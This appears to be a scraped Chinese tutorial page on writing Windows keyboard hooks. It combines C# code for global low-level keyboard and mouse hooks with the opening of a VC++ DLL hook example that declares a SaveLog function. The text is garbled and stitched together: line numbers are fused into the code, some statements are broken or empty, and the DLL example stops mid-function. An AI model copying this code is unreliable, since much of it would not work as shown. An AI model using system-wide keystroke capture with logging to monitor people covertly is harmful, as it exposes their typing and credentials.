VC++如何编写键盘钩子

合集下载

C#简单鼠标键盘钩子KMHook

C#简单鼠标键盘钩子KMHook

C#简单⿏标键盘钩⼦KMHook简介:由三个⽂件构成Pinvo.cs、KeyboardHook.cs、MouseHook.cs Pinvo.cs 是KeyboardHook与MouseHook需要的⼀些常量消息的定义 KeyboardHook 是实现的⼀个WH_KEYBOARD_LL类型的全局键盘钩⼦(SetWindowsHookExA函数最后⼀个参数threadId=0) MouseHook 是实现的⼀个WH_MOUSE_LL类型的全局⿏标按键钩⼦(SetWindowsHookExA函数最后⼀个参数threadId=0) Pinvo1using System;2using System.Collections.Generic;3using System.Linq;4using System.Text;5using System.Threading.Tasks;67namespace KMHook8 {9public class HookType10 {11public const int WH_CALLWNDPROC = 4;12public const int WH_KEYBOARD_LL = 13;13public const int WH_MOUSE_LL = 14;14 }1516public class Messages17 {18public const int WM_MOUSEHOVER = 0x02A1;19public const int WM_MOUSELEAVE = 0x02A3;20public const int WM_DEVICECHANGE = 0x0219;21public const int WM_DDE_FIRST = 0x03E0;22public const int WM_BB_ENABLE = 0x00000001;23public const int WM_BB_BLURREGION = 0x00000002;24public const int WM_BB_TRANSITIONONMAXIMIZED = 0x00000004;25public const int WM_CLOAKED_APP = 0x00000001;26public const int WM_CLOAKED_SHELL = 0x00000002;27public const int WM_CLOAKED_INHERITED = 0x00000004;28public const int WM_TNP_RECTDESTINATION = 0x00000001;29public const int WM_TNP_RECTSOURCE = 0x00000002;30public const int WM_TNP_OPACITY = 0x00000004;31public const int WM_TNP_VISIBLE = 0x00000008;32public const int WM_TNP_SOURCECLIENTAREAONLY = 0x00000010;33public const int WM_SIT_DISPLAYFRAME = 0x00000001;34public const int WM_HELP = 0x0011;35public const int WM_IME_REPORT = 0x0280;36public const int WM_CONVERTREQUESTEX = 0x0109;37public const int WM_WNT_CONVERTREQUESTEX = 0x0109;38public const int WM_CONVERTREQUEST = 0x010A;39public const int WM_CONVERTRESULT = 0x010B;40public const int WM_INTERIM = 0x010C;41public const int WM_IMEKEYDOWN = 0x290;42public const int WM_IMEKEYUP = 0x291;43public const int WM_RASDIALEVENT = 0xCCCD;44public const int WM_CONTEXTMENU = 0x007B;45public const int WM_UNICHAR = 0x0109;46public const int WM_PRINTCLIENT = 0x0318;47public const int WM_NOTIFY = 0x004E;48public const int WM_HANDLED_MASK = 0x1;49public const int WM_TABLET_DEFBASE = 0x02C0;50public const int WM_TABLET_MAXOFFSET = 0x20;51public const int WM_NULL = 0x0000;52public const int WM_CREATE = 0x0001;53public const int WM_DESTROY = 0x0002;54public const int WM_MOVE = 0x0003;55public const int WM_SIZE = 0x0005;56public const int WM_ACTIVATE = 0x0006;57public const int WM_SETFOCUS = 0x0007;58public const int WM_KILLFOCUS = 0x0008;59public const int WM_ENABLE = 0x000A;60public const int WM_SETREDRAW = 0x000B;61public const int WM_SETTEXT = 0x000C;62public const int WM_GETTEXT = 0x000D;63public const int WM_GETTEXTLENGTH = 0x000E;64public const int WM_PAINT = 0x000F;65public const int WM_CLOSE = 0x0010;66public const int WM_QUERYENDSESSION = 0x0011;70public const int WM_ERASEBKGND = 0x0014;71public const int WM_SYSCOLORCHANGE = 0x0015;72public const int WM_SHOWWINDOW = 0x0018;73public const int WM_WININICHANGE = 0x001A;74public const int WM_DEVMODECHANGE = 0x001B;75public const int WM_ACTIVATEAPP = 0x001C;76public const int WM_FONTCHANGE = 0x001D;77public const int WM_TIMECHANGE = 0x001E;78public const int WM_CANCELMODE = 0x001F;79public const int WM_SETCURSOR = 0x0020;80public const int WM_MOUSEACTIVATE = 0x0021;81public const int WM_CHILDACTIVATE = 0x0022;82public const int WM_QUEUESYNC = 0x0023;83public const int WM_GETMINMAXINFO = 0x0024;84public const int WM_PAINTICON = 0x0026;85public const int WM_ICONERASEBKGND = 0x0027;86public const int WM_NEXTDLGCTL = 0x0028;87public const int WM_SPOOLERSTATUS = 0x002A;88public const int WM_DRAWITEM = 0x002B;89public const int WM_MEASUREITEM = 0x002C;90public const int WM_DELETEITEM = 0x002D;91public const int WM_VKEYTOITEM = 0x002E;92public const int WM_CHARTOITEM = 0x002F;93public const int WM_SETFONT = 0x0030;94public const int WM_GETFONT = 0x0031;95public const int WM_SETHOTKEY = 0x0032;96public const int WM_GETHOTKEY = 0x0033;97public const int WM_QUERYDRAGICON = 0x0037;98public const int WM_COMPAREITEM = 0x0039;99public const int WM_GETOBJECT = 0x003D;100public const int WM_COMPACTING = 0x0041;101public const int WM_COMMNOTIFY = 0x0044;102public const int WM_WINDOWPOSCHANGING = 0x0046;103public const int WM_WINDOWPOSCHANGED = 0x0047;104public const int WM_POWER = 0x0048;105public const int WM_COPYDATA = 0x004A;106public const int WM_CANCELJOURNAL = 0x004B;107public const int WM_INPUTLANGCHANGEREQUEST = 0x0050; 108public const int WM_INPUTLANGCHANGE = 0x0051;109public const int WM_TCARD = 0x0052;110public const int WM_USERCHANGED = 0x0054;111public const int WM_NOTIFYFORMAT = 0x0055;112public const int WM_STYLECHANGING = 0x007C;113public const int WM_STYLECHANGED = 0x007D;114public const int WM_DISPLAYCHANGE = 0x007E;115public const int WM_GETICON = 0x007F;116public const int WM_SETICON = 0x0080;117public const int WM_NCCREATE = 0x0081;118public const int WM_NCDESTROY = 0x0082;119public const int WM_NCCALCSIZE = 0x0083;120public const int WM_NCHITTEST = 0x0084;121public const int WM_NCPAINT = 0x0085;122public const int WM_NCACTIVATE = 0x0086;123public const int WM_GETDLGCODE = 0x0087;124public const int WM_SYNCPAINT = 0x0088;125public const int WM_NCMOUSEMOVE = 0x00A0;126public const int WM_NCLBUTTONDOWN = 0x00A1;127public const int WM_NCLBUTTONUP = 0x00A2;128public const int WM_NCLBUTTONDBLCLK = 0x00A3;129public const int WM_NCRBUTTONDOWN = 0x00A4;130public const int WM_NCRBUTTONUP = 0x00A5;131public const int WM_NCRBUTTONDBLCLK = 0x00A6;132public const int WM_NCMBUTTONDOWN = 0x00A7;133public const int WM_NCMBUTTONUP = 0x00A8;134public const int WM_NCMBUTTONDBLCLK = 0x00A9;135public const int WM_NCXBUTTONDOWN = 0x00AB;136public const int WM_NCXBUTTONUP = 0x00AC;137public const int WM_NCXBUTTONDBLCLK = 0x00AD;138public const int WM_INPUT_DEVICE_CHANGE = 0x00FE;139public const int WM_INPUT = 0x00FF;140public const int WM_KEYFIRST = 0x0100;141public const int WM_CHAR = 0x0102;142public const int WM_DEADCHAR = 0x0103;143public const int WM_SYSCHAR = 0x0106;144public const int WM_SYSDEADCHAR = 0x0107;145public const int WM_KEYLAST = 0x0109;146public const int WM_IME_STARTCOMPOSITION = 0x010D; 147public const int WM_IME_ENDCOMPOSITION = 0x010E;148public const int WM_IME_COMPOSITION = 0x010F;149public const int WM_IME_KEYLAST = 0x010F;150public const int WM_INITDIALOG = 0x0110;154public const int WM_HSCROLL = 0x0114;155public const int WM_VSCROLL = 0x0115;156public const int WM_INITMENU = 0x0116;157public const int WM_INITMENUPOPUP = 0x0117;158public const int WM_GESTURE = 0x0119;159public const int WM_GESTURENOTIFY = 0x011A;160public const int WM_MENUSELECT = 0x011F;161public const int WM_MENUCHAR = 0x0120;162public const int WM_ENTERIDLE = 0x0121;163public const int WM_MENURBUTTONUP = 0x0122;164public const int WM_MENUDRAG = 0x0123;165public const int WM_MENUGETOBJECT = 0x0124;166public const int WM_UNINITMENUPOPUP = 0x0125;167public const int WM_MENUCOMMAND = 0x0126;168public const int WM_CHANGEUISTATE = 0x0127;169public const int WM_UPDATEUISTATE = 0x0128;170public const int WM_QUERYUISTATE = 0x0129;171public const int WM_CTLCOLORMSGBOX = 0x0132;172public const int WM_CTLCOLOREDIT = 0x0133;173public const int WM_CTLCOLORLISTBOX = 0x0134;174public const int WM_CTLCOLORBTN = 0x0135;175public const int WM_CTLCOLORDLG = 0x0136;176public const int WM_CTLCOLORSCROLLBAR = 0x0137;177public const int WM_CTLCOLORSTATIC = 0x0138;178public const int WM_MOUSEFIRST = 0x0200;179//public const int WM_LBUTTONDBLCLK = 0x0203;180//public const int WM_RBUTTONDBLCLK = 0x0206;181//public const int WM_MBUTTONDBLCLK = 0x0209;182public const int WM_MOUSEWHEEL = 0x020A;183public const int WM_XBUTTONDOWN = 0x020B;184public const int WM_XBUTTONUP = 0x020C;185public const int WM_XBUTTONDBLCLK = 0x020D;186public const int WM_MOUSEHWHEEL = 0x020E;187public const int WM_MOUSELAST = 0x020E;188public const int WM_PARENTNOTIFY = 0x0210;189public const int WM_ENTERMENULOOP = 0x0211;190public const int WM_EXITMENULOOP = 0x0212;191public const int WM_NEXTMENU = 0x0213;192public const int WM_SIZING = 0x0214;193public const int WM_CAPTURECHANGED = 0x0215;194public const int WM_MOVING = 0x0216;195public const int WM_POWERBROADCAST = 0x0218;196public const int WM_MDICREATE = 0x0220;197public const int WM_MDIDESTROY = 0x0221;198public const int WM_MDIACTIVATE = 0x0222;199public const int WM_MDIRESTORE = 0x0223;200public const int WM_MDINEXT = 0x0224;201public const int WM_MDIMAXIMIZE = 0x0225;202public const int WM_MDITILE = 0x0226;203public const int WM_MDICASCADE = 0x0227;204public const int WM_MDIICONARRANGE = 0x0228;205public const int WM_MDIGETACTIVE = 0x0229;206public const int WM_MDISETMENU = 0x0230;207public const int WM_ENTERSIZEMOVE = 0x0231;208public const int WM_EXITSIZEMOVE = 0x0232;209public const int WM_DROPFILES = 0x0233;210public const int WM_MDIREFRESHMENU = 0x0234;211public const int WM_POINTERDEVICECHANGE = 0x238;212public const int WM_POINTERDEVICEINRANGE = 0x239;213public const int WM_POINTERDEVICEOUTOFRANGE = 0x23A; 214public const int WM_TOUCH = 0x0240;215public const int WM_NCPOINTERUPDATE = 0x0241;216public const int WM_NCPOINTERDOWN = 0x0242;217public const int WM_NCPOINTERUP = 0x0243;218public const int WM_POINTERUPDATE = 0x0245;219public const int WM_POINTERDOWN = 0x0246;220public const int WM_POINTERUP = 0x0247;221public const int WM_POINTERENTER = 0x0249;222public const int WM_POINTERLEAVE = 0x024A;223public const int WM_POINTERACTIVATE = 0x024B;224public const int WM_POINTERCAPTURECHANGED = 0x024C; 225public const int WM_TOUCHHITTESTING = 0x024D;226public const int WM_POINTERWHEEL = 0x024E;227public const int WM_POINTERHWHEEL = 0x024F;228public const int WM_POINTERROUTEDTO = 0x0251;229public const int WM_POINTERROUTEDAWAY = 0x0252;230public const int WM_POINTERROUTEDRELEASED = 0x0253; 231public const int WM_IME_SETCONTEXT = 0x0281;232public const int WM_IME_NOTIFY = 0x0282;233public const int WM_IME_CONTROL = 0x0283;234public const int WM_IME_COMPOSITIONFULL = 0x0284;237public const int WM_IME_REQUEST = 0x0288;238public const int WM_IME_KEYDOWN = 0x0290;239public const int WM_IME_KEYUP = 0x0291;240public const int WM_NCMOUSEHOVER = 0x02A0;241public const int WM_NCMOUSELEAVE = 0x02A2;242public const int WM_WTSSESSION_CHANGE = 0x02B1;243public const int WM_TABLET_FIRST = 0x02;244public const int WM_TABLET_LAST = 0x02;245public const int WM_DPICHANGED = 0x02E0;246public const int WM_DPICHANGED_BEFOREPARENT = 0x02E2;247public const int WM_DPICHANGED_AFTERPARENT = 0x02E3;248public const int WM_GETDPISCALEDSIZE = 0x02E4;249public const int WM_CUT = 0x0300;250public const int WM_COPY = 0x0301;251public const int WM_PASTE = 0x0302;252public const int WM_CLEAR = 0x0303;253public const int WM_UNDO = 0x0304;254public const int WM_RENDERFORMAT = 0x0305;255public const int WM_RENDERALLFORMATS = 0x0306;256public const int WM_DESTROYCLIPBOARD = 0x0307;257public const int WM_DRAWCLIPBOARD = 0x0308;258public const int WM_PAINTCLIPBOARD = 0x0309;259public const int WM_VSCROLLCLIPBOARD = 0x030A;260public const int WM_SIZECLIPBOARD = 0x030B;261public const int WM_ASKCBFORMATNAME = 0x030C;262public const int WM_CHANGECBCHAIN = 0x030D;263public const int WM_HSCROLLCLIPBOARD = 0x030E;264public const int WM_QUERYNEWPALETTE = 0x030F;265public const int WM_PALETTEISCHANGING = 0x0310;266public const int WM_PALETTECHANGED = 0x0311;267public const int WM_HOTKEY = 0x0312;268public const int WM_PRINT = 0x0317;269public const int WM_APPCOMMAND = 0x0319;270public const int WM_THEMECHANGED = 0x031A;271public const int WM_CLIPBOARDUPDATE = 0x031D;272public const int WM_DWMCOMPOSITIONCHANGED = 0x031E;273public const int WM_DWMNCRENDERINGCHANGED = 0x031F;274public const int WM_DWMCOLORIZATIONCOLORCHANGED = 0x0320; 275public const int WM_DWMWINDOWMAXIMIZEDCHANGE = 0x0321;276public const int WM_DWMSENDICONICTHUMBNAIL = 0x0323;277public const int WM_DWMSENDICONICLIVEPREVIEWBITMAP = 0x0326; 278public const int WM_GETTITLEBARINFOEX = 0x033F;279public const int WM_HANDHELDFIRST = 0x0358;280public const int WM_HANDHELDLAST = 0x035F;281public const int WM_AFXFIRST = 0x0360;282public const int WM_AFXLAST = 0x037F;283public const int WM_PENWINFIRST = 0x0380;284public const int WM_PENWINLAST = 0x038F;285public const int WM_APP = 0x8000;286public const int WM_USER = 0x0400;287public const int WM_CT_REPEAT_FIRST_FIELD = 0x10;288public const int WM_CT_BOTTOM_FIELD_FIRST = 0x20;289public const int WM_CT_TOP_FIELD_FIRST = 0x40;290public const int WM_CT_INTERLACED = 0x80;291public const int WM_MAX_VIDEO_STREAMS = 0x3;292public const int WM_MAX_STREAMS = 0x3;293294public const int WM_KEYDOWN = 0x100;295public const int WM_KEYUP = 0x101;296public const int WM_SYSKEYDOWN = 0x104;297public const int WM_SYSKEYUP = 0x105;298299public const int WM_MOUSEMOVE = 0x200;300public const int WM_LBUTTONDOWN = 0x201;301public const int WM_RBUTTONDOWN = 0x204;302public const int WM_MBUTTONDOWN = 0x207;303public const int WM_LBUTTONUP = 0x202;304public const int WM_RBUTTONUP = 0x205;305public const int WM_MBUTTONUP = 0x208;306public const int WM_LBUTTONDBLCLK = 0x203;307public const int WM_RBUTTONDBLCLK = 0x206;308public const int WM_MBUTTONDBLCLK = 0x209;309 }310 }KeyboardHookusing System;using System.Runtime.InteropServices;public class KeyboardHook : IDisposable{[DllImport("user32.dll")]private static extern int SetWindowsHookExA(int idHook, KeyboardDelegateHandler lpfn, IntPtr hInstance, int threadId); [DllImport("user32.dll")]private static extern int CallNextHookEx(int idHook, int nCode, int wParam, KeyData lParam);[DllImport("user32.dll")]public static extern bool UnhookWindowsHookEx(int idHook);private int hookType = 0;private delegate int KeyboardDelegateHandler(int nCode, int wParam, KeyData lParam);public delegate bool KeyDelegate(KeyData keyData, int message);public delegate bool KeyUpUpDelegate(KeyData keyData);public delegate bool KeyDownDelegate(KeyData keyData);public event KeyDelegate keyEvent;public event KeyUpUpDelegate keyUpEvent;public event KeyUpUpDelegate keyDownEvent;public bool IsHooked{get{if (hookType != 0){return true;}return false;}}///<summary>/// vkCode 表⽰1到254间的虚拟键盘码/// scanCode 表⽰硬件扫描码///</summary>[StructLayout(LayoutKind.Sequential)]public class KeyData{public int vkCode;public int scanCode;public int flags;public int time;public int dwExtraInfo;}public void SetupHook(){hookType = SetWindowsHookExA(HookType.WH_KEYBOARD_LL, KMProc, IntPtr.Zero, 0);if (hookType == 0){RemoveHook();}}private void RemoveHook(){bool retKeyboard = UnhookWindowsHookEx(hookType);if (retKeyboard){hookType = 0;}}private int KMProc(int nCode, int wParam, KeyData lParam){if (!(nCode >= 0)){return CallNextHookEx(hookType, nCode, wParam, lParam);}bool shouldBlock = false;if (keyEvent != null){shouldBlock = keyEvent.Invoke(lParam, wParam);}if (wParam == Messages.WM_KEYDOWN ||wParam == Messages.WM_SYSKEYDOWN){if (keyDownEvent != null){}if (wParam == Messages.WM_KEYUP ||wParam == Messages.WM_SYSKEYUP){if (keyUpEvent != null){shouldBlock = keyUpEvent.Invoke(lParam);}}if (!shouldBlock){return CallNextHookEx(hookType, nCode, wParam, lParam);}return1;}public void Dispose(){RemoveHook();}}}MouseHookusing System;using System.Runtime.InteropServices;namespace KMHook{public class MouseHook: IDisposable{[DllImport("user32.dll")]private static extern int SetWindowsHookExA(int idHook, MouseDelegateHandler lpfn, IntPtr hInstance, int threadId); [DllImport("user32.dll")]private static extern bool UnhookWindowsHookEx(int idHook);[DllImport("user32.dll")]private static extern int CallNextHookEx(int idHook, int nCode, int wParam, MouseData lParam);private delegate int MouseDelegateHandler(int nCode, int wParam, MouseData lParam);public delegate bool MouseDelegate(MouseData pt, int message);public event MouseDelegate mouseEvent;private int hookType = 0;[StructLayout(LayoutKind.Sequential)]public class Point{public int x;public int y;}[StructLayout(LayoutKind.Sequential)]public class MouseData{public Point pt;public int hWnd;public int wHitTestCode;public int dwExtraInfo;}public bool IsHooked{get{if (hookType != 0){return true;}return false;}}public void SetupHook(){RemoveHook();}}private void RemoveHook(){bool retKeyboard = UnhookWindowsHookEx(hookType);if (retKeyboard){hookType = 0;}}private int KMProc(int nCode, int wParam, MouseData lParam){if (!(nCode >= 0)){return CallNextHookEx(hookType, nCode, wParam, lParam);}bool shouldBlock = false;if (mouseEvent != null){shouldBlock = mouseEvent.Invoke(lParam, wParam);}if (!shouldBlock){return CallNextHookEx(hookType, nCode, wParam, lParam);}return1;}public void Dispose(){RemoveHook();}}}代码使⽤情况KeyboardHook keyboardHook = new KeyboardHook();keyboardHook.keyEvent += (keyData, message) =>{if (message == Messages.WM_KEYDOWN || message == Messages.WM_SYSKEYDOWN) {if (keyData.vkCode == (int) Keys.A) Console.WriteLine("key a pressed.");if (keyData.vkCode == (int) Keys.F1) Console.WriteLine("f1 pressed.");if (keyData.vkCode == (int) Keys.Delete) Console.WriteLine("delete pressed.");if (keyData.vkCode == (int) Keys.LControlKey) Console.WriteLine("left control pressed."); }return true;};keyboardHook.SetupHook();。

C++技巧:用HOOK禁用鼠标与键盘点击

C++技巧:用HOOK禁用鼠标与键盘点击
本主题由 llkeyou 于 2011-3-14 10:57 设置高亮
本文来自: 计算机等级论坛(/jsj/) 详细文章参考:/jsj/thread-2341-1-2.html
C++技巧:用HOOK禁用鼠标与键盘点击
HOOK, 鼠标, 技巧, 键盘
/首先定义
HWND g_hWnd; //定义一个窗口的句柄
HHOOK g_hMouse; //鼠标的钩子过程
HHOOK g_hKeyBoard; //键盘的钩子过程
/鼠标钩子过程的回调函数
LRESULT CALLBACK MouseProc( int nCode,
}
学习大VC++编程隐藏计算机中的鼠标Java下怎样屏蔽键盘和鼠标的操做通过并行机制处理鼠标和键盘鼠标一拖Vista用户文件夹全至其他分区计算机二级C技巧:VC6.0控制鼠标反方向移动C语言分析:用C语言写的鼠标驱动程序利用VisualC#编程模仿鼠标操做电脑鼠标常见毛病分析与维修技巧丢弃鼠标Windows常用五组快速键
//lParam右移29位,正好它的第二十九位在第一位上,
//得第二十九位表示了Alt键被按下
return 1;
*/
/使程序在F2键按下后退出/
if(VK_F2==wParam)
{
::SendMessage(g_hWnd,WM_CLOSE,0,0); //发送关闭消息
UnhookWindowsHookEx(g_hKeyBoard);
UnhookWindowsHookEx(g_hMouse);//移除一个已经安装的hook
//当我们本人发送消息关闭程序时,一定要记得关闭Hook

VC菜单打勾的方法

VC菜单打勾的方法

注意:IDR_MENU1是菜单ID,ID_CONTROL_MUTE是需要被打勾的子菜单,加粗部分为核心部分// MFCTestDlg.h : 头文件//#pragma once// CMFCTestDlg 对话框class CMFCTestDlg : public CDialog{// 构造public:CMFCTestDlg(CWnd* pParent = NULL); // 标准构造函数// 对话框数据enum { IDD = IDD_MFCTEST_DIALOG };protected:virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支// 实现protected:HICON m_hIcon;// 生成的消息映射函数virtual BOOL OnInitDialog();afx_msg void OnSysCommand(UINT nID, LPARAM lParam);afx_msg void OnPaint();afx_msg HCURSOR OnQueryDragIcon();DECLARE_MESSAGE_MAP()/*****************新添加部分**********************/private:BOOL m_bMute;CMenu* pMainMenu;CMenu* pSubMenu;afx_msg void OnControlMute();/*****************end新添加部分**********************/};然后再到CMFCTestDlg.cpp文件里的OnInitDialog加上// CMFCTestDlg 消息处理程序BOOL CMFCTestDlg::OnInitDialog(){CDialog::OnInitDialog();// 将“关于...”菜单项添加到系统菜单中。

c 钩子函数

c 钩子函数

c 钩子函数
在C语言中,钩子函数(hook function)通常是指可以被其他程序或系统调用的回调函数。

它通常会注册到某个框架或库中,当特定事件发生时会被调用。

例如,在Windows操作系统中,可以使用钩子函数来拦截特定的消息、键盘输入、鼠标事件等,实现一些特殊的功能,比如监控用户行为、加强系统安全等。

在这种情况下,钩子函数需要注册到操作系统的钩子链中,等待事件发生时被调用。

在编写C语言程序时,可以自己实现钩子函数,将其注册到自己的程序某个模块中,等待触发特定事件时被调用。

例如,在一个计算器程序中,可以注册一个钩子函数在用户按下某个快捷键时自动执行某些计算操作。

总之,钩子函数是一种非常灵活的编程技术,可以让程序更加智能化、自适应化。

mfc 键盘hook例子

mfc 键盘hook例子

mfc 键盘hook例子全文共四篇示例,供读者参考第一篇示例:MFC是Microsoft Foundation Classes的缩写,是微软公司开发的一种面向对象的C++库。

它提供了许多对Windows编程常用的类和函数,方便开发人员编写Windows应用程序。

在MFC中,键盘hook是一种用于监控键盘消息的技术。

通过键盘hook,我们可以在程序运行时捕获、处理键盘输入,实现自定义的按键响应逻辑。

在本文中,我们将以一个简单的MFC键盘hook例子来演示如何实现键盘消息的拦截和处理。

通过这个例子,读者可以了解MFC中如何使用键盘hook,并学习如何在程序中对键盘消息进行相应的处理。

我们需要创建一个MFC应用程序。

在Visual Studio中新建一个MFC应用程序项目,选择“桌面应用程序(MFC)”模板,并按照向导设置好项目名称和路径。

在新建的MFC应用程序项目中,我们可以添加一个新的类来处理键盘hook。

右键单击项目名称,选择“添加”->“类”,在“添加类”对话框中选择“MFC类from General”模板,填写类的名称(比如CHookManager)并点击“添加”。

在CHookManager类中,我们需要实现键盘hook的安装和卸载函数。

在类的.h文件中定义以下成员变量和函数:```cppclass CHookManager{public:CHookManager();virtual ~CHookManager();在类的.cpp文件中实现这些函数:```cppBOOL g_bHookInstalled = FALSE;HHOOK g_hHook = NULL;CHookManager::CHookManager(){}LRESULT CALLBACK CHookManager::KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam){if (nCode >= 0){// 处理键盘消息KBDLLHOOKSTRUCT* pKbdStruct = (KBDLLHOOKSTRUCT*)lParam;if (pKbdStruct->vkCode == VK_ESCAPE){// 拦截ESC键return 1;}}return CallNextHookEx(g_hHook, nCode, wParam, lParam);}void CHookManager::InstallHook(){if (!g_bHookInstalled){g_hHook = SetWindowsHookEx(WH_KEYBOARD_LL, KeyboardProc, GetModuleHandle(NULL), 0);g_bHookInstalled = TRUE;}}在上面的代码中,我们定义了一个HHOOK类型的全局变量g_hHook和一个BOOL类型的全局变量g_bHookInstalled,用于存储键盘hook的句柄和安装状态。

VB2010VBNET源码 HOOK 键盘钩子

VB2010VBNET源码 HOOK 键盘钩子
If p.vkCode = VK_MENU Or p.vkCode = VK_TAB Then blnHook = True '按下了Alt+Tab键
Case Else
'do nothing
End Select
End Sub
这只是简单的屏蔽了几个键,当然如果要屏蔽更多的键,只要在模块的LowLevelKeyboardProc函数中设置你想要拦截键盘键值过滤掉就可以了。
Call CopyMemory(p, ByVal lParam, Len(p))
If p.vkCode = VK_LWIN Or p.vkCode = VK_RWIN Then blnHook = True '按下了左/右Win键
If p.vkCode = VK_CONTROL Or p.vkCode = VK_ESCAPE Then blnHook = True '按下了Ctrl+Esc键
End Type
Private Const WM_KEYDOWN = &H100
Private Const WM_SYSKEYDOWN = &H104
Private Const WM_KEYUP = &H101
Private Const WM_SYSKEYUP e Const VK_LWIN = &H5B
End Function
Public Sub HooK()
lngHook = SetWindowsHookEx(WH_KEYBOARD_LL, _
AddressOf LowLevelKeyboardProc, _
App.hInstance, _

C++的键盘钩子

C++的键盘钩子

Windows系统是建立在事件驱动的机制上的,说穿了就是整个系统都是通过消息的传递来实现的。

而钩子是Windows系统中非常重要的系统接口,用它可以截获并处理送给其他应用程序的消息,来完成普通应用程序难以实现的功能。

钩子可以监视系统或进程中的各种事件消息,截获发往目标窗口的消息并进行处理。

这样,我们就可以在系统中安装自定义的钩子,监视系统中特定事件的发生,完成特定的功能,比如截获键盘、鼠标的输入,屏幕取词,日志监视等等。

可见,利用钩子可以实现许多特殊而有用的功能。

因此,对于高级编程人员来说,掌握钩子的编程方法是很有必要的。

钩子的类型一.按事件分类,有如下的几种常用类型(1)键盘钩子和低级键盘钩子可以监视各种键盘消息。

(2)鼠标钩子和低级鼠标钩子可以监视各种鼠标消息。

(3)外壳钩子可以监视各种Shell事件消息。

比如启动和关闭应用程序。

(4)日志钩子可以记录从系统消息队列中取出的各种事件消息。

(5)窗口过程钩子监视所有从系统消息队列发往目标窗口的消息。

此外,还有一些特定事件的钩子提供给我们使用,不一一列举。

下面描述常用的Hook类型:1、WH_CALLWNDPROC和WH_CALLWNDPROCRET HooksWH_CALLWNDPROC和WH_CALLWNDPROCRET Hooks使你可以监视发送到窗口过程的消息。

系统在消息发送到接收窗口过程之前调用WH_CALLWNDPROC Hook子程,并且在窗口过程处理完消息之后调用WH_CALLWNDPROCRET Hook子程。

WH_CALLWNDPROCRET Hook传递指针到CWPRETSTRUCT结构,再传递到Hook子程。

CWPRETSTRUCT结构包含了来自处理消息的窗口过程的返回值,同样也包括了与这个消息关联的消息参数。

2、WH_CBT Hook在以下事件之前,系统都会调用WH_CBT Hook子程,这些事件包括:1. 激活,建立,销毁,最小化,最大化,移动,改变尺寸等窗口事件;2. 完成系统指令;3. 来自系统消息队列中的移动鼠标,键盘事件;4. 设置输入焦点事件;5. 同步系统消息队列事件。

vc++HOOK详细讲解

vc++HOOK详细讲解

vc++HOOK详细讲解消息钩子函数入门Windows 系统是建立在事件驱动的机制上的,说穿了就是整个系统都是通过消息的传递来实现的。

而钩子是Windows 系统中非常重要的系统接口,用它可以截获并处理送给其他应用程序的消息,来完成普通应用程序难以实现的功能。

钩子可以监视系统或进程中的各种事件消息,截获发往目标窗口的消息并进行处理。

这样,我们就可以在系统中安装自定义的钩子,监视系统中特定事件的发生,完成特定的功能,比如截获键盘、鼠标的输入,屏幕取词,日志监视等等。

可见,利用钩子可以实现许多特殊而有用的功能。

因此,对于高级编程人员来说,掌握钩子的编程方法是很有必要的。

钩子的类型一.按事件分类,有如下的几种常用类型(1)键盘钩子和低级键盘钩子可以监视各种键盘消息。

(2)鼠标钩子和低级鼠标钩子可以监视各种鼠标消息。

(3)外壳钩子可以监视各种Shell 事件消息。

比如启动和关闭应用程序。

(4)日志钩子可以记录从系统消息队列中取出的各种事件消息。

(5)窗口过程钩子监视所有从系统消息队列发往目标窗口的消息。

此外,还有一些特定事件的钩子提供给我们使用,不一一列举。

下面描述常用的Hook 类型:1、WH_CALLWNDPROC 和WH_CALLWNDPROCRET Hooks WH_CALLWNDPROC 和WH_CALLWNDPROCRET Hooks 使你可以监视发送到窗口过程的消息。

系统在消息发送到接收窗口过程之前调用WH_CALLWNDPROC Hook 子程,并且在窗口过程处理完消息之后调用WH_CALLWNDPRO CRET Hook 子程。

WH_CALLWNDPROCRET Hook 传递指针到CWPRETSTRUCT 结构,再传递到Hook 子程。

CWPRETSTRUCT 结构包含了来自处理消息的窗口过程的返回值,同样也包括了与这个消息关联的消息参数。

2、WH_CBT Hook在以下事件之前,系统都会调用WH_CBT Hook子程,这些事件包括:1. 激活,建立,销毁,最小化,最大化,移动,改变尺寸等窗口事件;2. 完成系统指令;3. 来自系统消息队列中的移动鼠标,键盘事件;4. 设置输入焦点事件;5. 同步系统消息队列事件。

  1. 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
  2. 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
  3. 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。

系统钩子和DLL
钩子的本质是一段用以处理系统消息的程序,通过系统调用,将其挂入系统。

钩子的种类有很多,每种钩子可以截获并处理相应的消息,每当特定的消息发出,在到达目的窗口之前,钩子程序先行截获该消息、得到对此消息的控制权。

此时在钩子函数中就可以对截获的消息进行加工处理,甚至可以强制结束消息的传递。

在本程序中我们需要捕获在任意窗口上的键盘输入,这就需要采用全局钩子以便拦截整个系统的消息,而全局钩子函数必须以DLL(动态连接库)为载体进行封装,VC6中有三种形式的MFC DLL可供选择,即Regular statically linked to MFC DLL(标准静态链接MFC DLL)、Regular using the shared MFC DLL(标准动态链接MFC DLL)以及Extension MFC DLL(扩展MFC DLL)。

在本程序中为方便起见采用了标准静态连接MFC DLL。

键盘钩子程序示例
本示例程序用到全局钩子函数,程序分两部分:可执行程序KeyKook和动态连接库LaunchDLL。

首先创建一个MFC AppWizard(DLL)工程,并选择Regular statically linked to MFC DLL (标准静态链接MFC DLL)选项,以建立MFC扩展动态连接库LaunchDLL.dll。

之后,在相应的头文件中添加宏定义和待导出函数的声明:
#define DllExport __declspec(dllexport)
……
DllExport void WINAPI InstallLaunchEv();
……
class CLaunchDLLApp : public CWinApp
{
public:
CLaunchDLLApp();
//{{AFX_VIRTUAL(CLaunchDLLApp)
//}}AFX_VIRTUAL
//{{AFX_MSG(CLaunchDLLApp)
// NOTE - the ClassWizard will add and remove member functions here.
// DO NOT EDIT what you see in these blocks of generated code !
//}}AFX_MSG
DECLARE_MESSAGE_MAP()
};
同时在实现文件中添加全局变量Hook和全局函数LauncherHook()、SaveLog():
HHOOK Hook;
LRESULT CALLBACK LauncherHook(int nCode,WPARAM wParam,LPARAM lParam);
void SaveLog(char* c);
最后,完成以上提到的这几个函数的具体编码实现:
CLaunchDLLApp theApp;
……
DllExport void WINAPI InstallLaunchEv()
{
